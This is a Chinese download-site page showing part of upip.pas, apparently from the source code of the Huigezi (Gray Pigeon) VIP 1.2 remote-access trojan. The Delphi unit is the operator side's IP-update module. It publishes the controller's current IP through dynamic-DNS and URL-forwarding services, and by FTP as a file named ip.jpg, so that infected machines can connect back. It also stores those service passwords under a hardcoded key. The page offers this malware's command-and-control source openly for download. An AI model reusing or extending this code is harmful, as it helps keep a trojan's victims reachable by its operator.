⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 upip.pas

📁 灰鸽子VIP1.2经典源代码
💻 PAS
📖 第 1 页 / 共 2 页
字号:
        UpIpDate.IdHTTP2.ProxyParams.ProxyPort:=0;
      end;

    tmphttp:='http://www.3322.org/dyndns/update?system=dyndns&hostname='+UpIpDate.XwEdit.Text+'&myip='+UpIpDate.XWComboBox.Text+'&wildcard=OFF&mx=&backmx=NO';

    UpIpDate.IdHTTP2.Request.Username :=username;
    UpIpDate.IdHTTP2.Request.Password :=pass;

    
    Temp:=UpIpDate.IdHTTP2.Get(tmphttp);

    try
      UpIpDate.IdHTTP2.Disconnect;
    except
    end;

    if UpIpDate.Update(Temp,'good') then begin
      UpIpDate.Label1.Caption :=UpIpDate.Translate('String11','更新IP成功!请等待服务器上线!');
          if HgzVip.isSound then
            begin
              try
                sndplaysound('',snd_async);
                sndplaysound(Pchar(HgzVip.UpIPok),snd_async);
              except
              end;
            end;
    end
    else begin
    if pos('badauth',Temp)>0 then begin
    UpIpDate.Label1.Caption :=UpIpDate.Translate('String12','更新IP失败!用户名或密码不正确!');
    UpIpDate.XWButton.Enabled:=True;
    Exit;
    end;
    UpIpDate.Label1.Caption :=UpIpDate.Translate('String13','更新IP失败!请检查输入信息是否正确!')+Temp;
    end;
  Except
    UpIpDate.Label1.Caption :=UpIpDate.Translate('String14','更新IP错误!请检查网络!');
  end;
  UpIpDate.XWButton.Enabled:=True;
end;

type
   TXWDnsThread = class(TThread)
   public
      procedure   Execute; override;
   end;

procedure TXWDnsThread.Execute;
begin
XWDns;
Terminate;
end;

procedure IPtohttp;
var
username,pass,Temp:string;
ProxyStr: TProxyServerInf;
begin
  try
    username:=UpIpDate.user126.Text;
    pass:= UpIpDate.pass126.Text;


    if GetDefaultProxyServer(ProxyStr) then  {本地设置了代理服务器}
      begin
           if ProxyStr.httpName<>'' then
           begin
             UpIpDate.IdHTTP1.ProxyParams.ProxyServer:=ProxyStr.httpName;
             UpIpDate.IdHTTP1.ProxyParams.ProxyPort:=ProxyStr.httpport;
           end;
      end else
      begin
             UpIpDate.IdHTTP1.ProxyParams.ProxyServer:='';
             UpIpDate.IdHTTP1.ProxyParams.ProxyPort:=0;
      end;

    if UpIpDate.YComboBox.ItemIndex=0 then
      Temp:=UpIpDate.IdHTTP1.Get('http://my.126.com/cgi-bin/modify?username='+username+'&domain=126.com&password='+
          pass+'&url=http://huigezi'+UpIpDate.ComboBox1.Text+'end')
    else
      Temp:=UpIpDate.IdHTTP1.Get('http://my.yeah.net/cgi-bin/modify?username='+username+'&domain=yeah.net&password='+
          pass+'&url=http://huigezi'+UpIpDate.ComboBox1.Text+'end');

    if UpIpDate.Update(Temp,UpIpDate.Translate('String15','修改成功')) then begin
      UpIpDate.Label1.Caption :=UpIpDate.Translate('String11','更新IP成功!请等待服务器上线!');
          if HgzVip.isSound then
            begin
              try
                sndplaysound('',snd_async);
                sndplaysound(Pchar(HgzVip.UpIPok),snd_async);
              except
              end;
            end;
    end
    else begin
    if pos(UpIpDate.Translate('String16','密码错误'),Temp)>0 then begin
      UpIpDate.Label1.Caption :=UpIpDate.Translate('String12','更新IP失败!密码不正确!');
      UpIpDate.URLButton.Enabled:=True;
    Exit;
    end;
    UpIpDate.Label1.Caption :=UpIpDate.Translate('String13','更新IP失败!请检查输入信息是否正确!');
    end;
  Except
    UpIpDate.Label1.Caption :=UpIpDate.Translate('String17','更新IP错误!请检查网络或域名服务商!');
  end;
    UpIpDate.URLButton.Enabled:=True;
end;

type
   THttpThread = class(TThread)
   public
      procedure   Execute; override;
   end;

procedure THttpThread.Execute;
begin
IPtohttp;
Terminate;
end;

procedure TUpIpDate.URLButtonClick(Sender: TObject);
begin
if user126.Text='' then
  begin
    Label1.Caption:=Translate('String18','对不起!好像您没有填写域名噢!请您填上吧!');
    Exit;
  end;
if spSkinEdit2.Text<>pass126.Text then
  begin
    Label1.Caption:=Translate('String19','对不起!两次输入的密码不一致!请重新输入!');
    spSkinEdit2.Text:='';
    pass126.Text:='';
    Exit;
  end;
Label1.Caption:=Translate('String20','开始更新IP地址到域名...');
URLButton.Enabled:=False;
THttpThread.Create(false);
end;

procedure TUpIpDate.Button3Click(Sender: TObject);
{var
  username, pass, Shuzi: string;
  TempS: string;  }
begin
  if UserEdit.Text = '' then begin
    Label1.Caption := Translate('String18','用户名不能为空!');
    Exit;
  end;
  if PassEdit1.Text = '' then begin
    Label1.Caption := Translate('String21','密码不能为空,请重新填写!');
    Exit;
  end;
  if PassEdit1.Text <> PassEdit2.Text then begin
    Label1.Caption := Translate('String19','两次密码不一样,请重新填写!');
    PassEdit1.Text:='';
    PassEdit2.Text:='';
    Exit;
  end;
  if EmailEdit1.Text='' then
    begin
      Label1.Caption := Translate('String22','请填写你的E-Mail地址!');
      Exit;
    end;
Label1.Caption:=Translate('String23','开始注册域名...');
TZhuCeThread.Create(false);
{  Randomize;
  i := Random(100);
  if i = 0 then i := 01;
  if i = 100 then i := 99;
  username := UserEdit.Text;
  pass := PassEdit2.Text;
  Shuzi := SuiJiMa[i];

  try
    Button3.Enabled := False;
    Button3.Refresh;
    Label1.Caption := '正在身份验证...'; //http://8225.com/login/login.asp?yhm=1&mima=1&shuzi=11&ipadd=nick
    temps := idHTTP1.Get('http://www.8225.com/login/login.asp?yhm=' + username + '&mima=' + pass + '&shuzi=' + shuzi + '&ipadd=' + IPComboBox2.Text);
  except
    Button3.Enabled := True;
    Button3.Refresh;
    Label1.Caption := '验证出错,请检查网络.';
    Exit;
  end;

  while Pos(#13#10, TempS) <> 0 do
  begin
    Delete(TempS, Pos(#13#10, TempS), 2);
  end;

  if TempS = YanzhenMa[i] then begin
    Label1.Caption := '验证通过,更新IP成功.';
  end else begin
    Label1.Caption := '验证失败.更新IP失败.';
  end;
  Button3.Enabled := True;
  Button3.Refresh;   }
  
end;


procedure TUpIpDate.RadioBox1Click(Sender: TObject);
begin
try
if RadioBox1.Checked then
  begin
    HgzVip.myinifile.writestring('FTP','AutoSave','1');
    HgzVip.myinifile.writestring('FTP','FTPServer',FTPAdder.text);
    HgzVip.myinifile.writestring('FTP','FTPport',FTPPort.text);
    HgzVip.myinifile.writestring('FTP','FTPUser',FTPUser.Text);
    HgzVip.myinifile.writestring('FTP','Password',EnCryptStr(FTPPass1.Text,'HUIGEZI'));
    HgzVip.myinifile.writestring('FTP','IpFile',IpFileEdit.Text);
    HgzVip.myinifile.writestring('FTP','Http',httpEdit.Text);
  end else begin
    HgzVip.myinifile.writestring('FTP','AutoSave','0');
    HgzVip.myinifile.writestring('FTP','FTPServer','');
    HgzVip.myinifile.writestring('FTP','FTPport','21');
    HgzVip.myinifile.writestring('FTP','FTPUser','');
    HgzVip.myinifile.writestring('FTP','Password','');
    HgzVip.myinifile.writestring('FTP','IpFile','ip.jpg');
    HgzVip.myinifile.writestring('FTP','Http','');
  end;
except
end;
end;

procedure TUpIpDate.RadioBox2Click(Sender: TObject);
begin
try
if RadioBox2.Checked then
  begin
    HgzVip.myinifile.writestring('Yuming','AutoSave','1');
    HgzVip.Myinifile.writestring(YComboBox.Text, 'UserName', user126.Text);
    HgzVip.Myinifile.writestring(YComboBox.Text, 'Passwd', EnCryptStr(spSkinEdit2.Text,'HUIGEZI'));
  end else begin
    HgzVip.myinifile.writestring('Yuming','AutoSave','0');
    HgzVip.Myinifile.writestring(YComboBox.Text, 'UserName', '');
    HgzVip.Myinifile.writestring(YComboBox.Text, 'Passwd', '');
  end;
except
end;
end;

procedure TUpIpDate.FormClose(Sender: TObject; var Action: TCloseAction);
begin
try
if RadioBox1.Checked then
  begin
    HgzVip.myinifile.writestring('FTP','AutoSave','1');
    HgzVip.myinifile.writestring('FTP','FTPServer',FTPAdder.text);
    HgzVip.myinifile.writestring('FTP','FTPport',FTPPort.text);
    HgzVip.myinifile.writestring('FTP','FTPUser',FTPUser.Text);
    HgzVip.myinifile.writestring('FTP','Password',EnCryptStr(FTPPass1.Text,'HUIGEZI'));
    HgzVip.myinifile.writestring('FTP','IpFile',IpFileEdit.Text);
    HgzVip.myinifile.writestring('FTP','Http',httpEdit.Text);
  end else begin
    HgzVip.myinifile.writestring('FTP','AutoSave','0');
    HgzVip.myinifile.writestring('FTP','FTPServer','');
    HgzVip.myinifile.writestring('FTP','FTPport','21');
    HgzVip.myinifile.writestring('FTP','FTPUser','');
    HgzVip.myinifile.writestring('FTP','Password','');
    HgzVip.myinifile.writestring('FTP','IpFile','ip.jpg');
    HgzVip.myinifile.writestring('FTP','Http','');
  end;
except
end;
try
if RadioBox2.Checked then
  begin
    HgzVip.myinifile.writestring('Yuming','AutoSave','1');
    HgzVip.Myinifile.writestring(YComboBox.Text, 'UserName', user126.Text);
    HgzVip.Myinifile.writestring(YComboBox.Text, 'Passwd', EnCryptStr(spSkinEdit2.Text,'HUIGEZI'));
  end else begin
    HgzVip.myinifile.writestring('Yuming','AutoSave','0');
    HgzVip.Myinifile.writestring(YComboBox.Text, 'UserName', '');
    HgzVip.Myinifile.writestring(YComboBox.Text, 'Passwd', '');
  end;
except
end;
try
if CheckRadioBox1.Checked then
  begin
    HgzVip.myinifile.writestring('DNSYuming','AutoSave','1');
    HgzVip.myinifile.writestring('DNSYuming','Dns',XwEdit.text);
    HgzVip.myinifile.writestring('DNSYuming','User',Xwuser.text);
    HgzVip.myinifile.writestring('DNSYuming','Password',EnCryptStr(Xwpass.text,'HUIGEZI'));
  end else begin
    HgzVip.myinifile.writestring('DNSYuming','AutoSave','0');
    HgzVip.myinifile.writestring('DNSYuming','User','');
    HgzVip.myinifile.writestring('DNSYuming','Password','');
  end;
except
end;
end;

procedure TUpIpDate.XWButtonClick(Sender: TObject);
begin
if XwEdit.Text='' then
  begin
    Label1.Caption:=Translate('String18','对不起!好像您没有填写域名噢!请您填上吧!');
    Exit;
  end;
if Xwuser.Text='' then
  begin
    Label1.Caption:=Translate('String24','对不起!请填写用户名!');
    Exit;
  end;
if Xwpass.Text='' then
  begin
    Label1.Caption:=Translate('String21','对不起!请填写密码!');
    Exit;
  end;
XWButton.Enabled:=False;
Label1.Caption:=Translate('String25','开始更新IP地址到域名...');
TXWDnsThread.Create(false);
end;

procedure TUpIpDate.Label16Click(Sender: TObject);
begin
ShellExecute(0, 'Open', pchar('http://www.3322.org'),nil, nil, SW_Show);
end;

procedure TUpIpDate.CheckRadioBox1Click(Sender: TObject);
begin
try
if CheckRadioBox1.Checked then
  begin
    HgzVip.myinifile.writestring('DNSYuming','AutoSave','1');
    HgzVip.myinifile.writestring('DNSYuming','Dns',XwEdit.text);
    HgzVip.myinifile.writestring('DNSYuming','User',Xwuser.text);
    HgzVip.myinifile.writestring('DNSYuming','Password',EnCryptStr(Xwpass.text,'HUIGEZI'));
  end else begin
    HgzVip.myinifile.writestring('DNSYuming','AutoSave','0');
    HgzVip.myinifile.writestring('DNSYuming','User','');
    HgzVip.myinifile.writestring('DNSYuming','Password','');
  end;
except
end;
end;

procedure TUpIpDate.Label11Click(Sender: TObject);
begin
ShellExecute(0, 'Open','http://my.126.com/',nil, nil, SW_Show);
end;

procedure TUpIpDate.user126Change(Sender: TObject);
begin
try
if RadioBox2.Checked then
  begin
    if YComboBox.ItemIndex =0 then
      HgzVip.Myinifile.writestring('.126.com', 'UserName', user126.Text);
    if YComboBox.ItemIndex =1 then
      HgzVip.Myinifile.writestring('.yeah.net', 'UserName', user126.Text);
  end;
except
end;
end;

procedure TUpIpDate.spSkinEdit2Change(Sender: TObject);
begin
try
if RadioBox2.Checked then
  begin
    if YComboBox.ItemIndex =0 then
      HgzVip.Myinifile.writestring('.126.com', 'Passwd', EnCryptStr(spSkinEdit2.Text,'HUIGEZI'));
    if YComboBox.ItemIndex =1 then
      HgzVip.Myinifile.writestring('.yeah.net', 'Passwd', EnCryptStr(spSkinEdit2.Text,'HUIGEZI'));
  end;
except
end;
end;

procedure TUpIpDate.YComboBoxClick(Sender: TObject);
begin
try
 if YComboBox.ItemIndex =0 then
  begin
    user126.Text:=HgzVip.myinifile.Readstring('.126.com', 'UserName', '');
    spSkinEdit2.Text:=DeCryptStr(HgzVip.myinifile.Readstring('.126.com', 'Passwd', ''),'HUIGEZI');
    pass126.Text:=DeCryptStr(HgzVip.myinifile.Readstring('.126.com', 'Passwd', ''),'HUIGEZI');
  end;
 if YComboBox.ItemIndex =1 then
  begin
    user126.Text:=HgzVip.myinifile.Readstring('.yeah.net', 'UserName', '');
    spSkinEdit2.Text:=DeCryptStr(HgzVip.myinifile.Readstring('.yeah.net', 'Passwd', ''),'HUIGEZI');
    pass126.Text:=DeCryptStr(HgzVip.myinifile.Readstring('.yeah.net', 'Passwd', ''),'HUIGEZI');
  end;
except
end;
end;

procedure TUpIpDate.NMFTP1Success(Trans_Type: TCmdType);
begin
//Label1.Caption :='成功.';
if Trans_Type=cmdUpload then
begin
  AfterGetFile(nil);
  NMFTP1.Disconnect;
end;
end;

procedure TUpIpDate.NMFTP1Connect(Sender: TObject);
begin
  Label1.Caption :=Translate('String26','连接FTP成功.');
end;

procedure TUpIpDate.NMFTP1ConnectionFailed(Sender: TObject);
begin
  Label1.Caption :=Translate('String27','连接FTP失败.');;
end;

procedure TUpIpDate.NMFTP1Error(Sender: TComponent; Errno: Word;
  Errmsg: String);
begin
  Label1.Caption :='Error..';
end;

procedure TUpIpDate.NMFTP1Status(Sender: TComponent; Status: String);
begin
   Label1.Caption :=Status;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -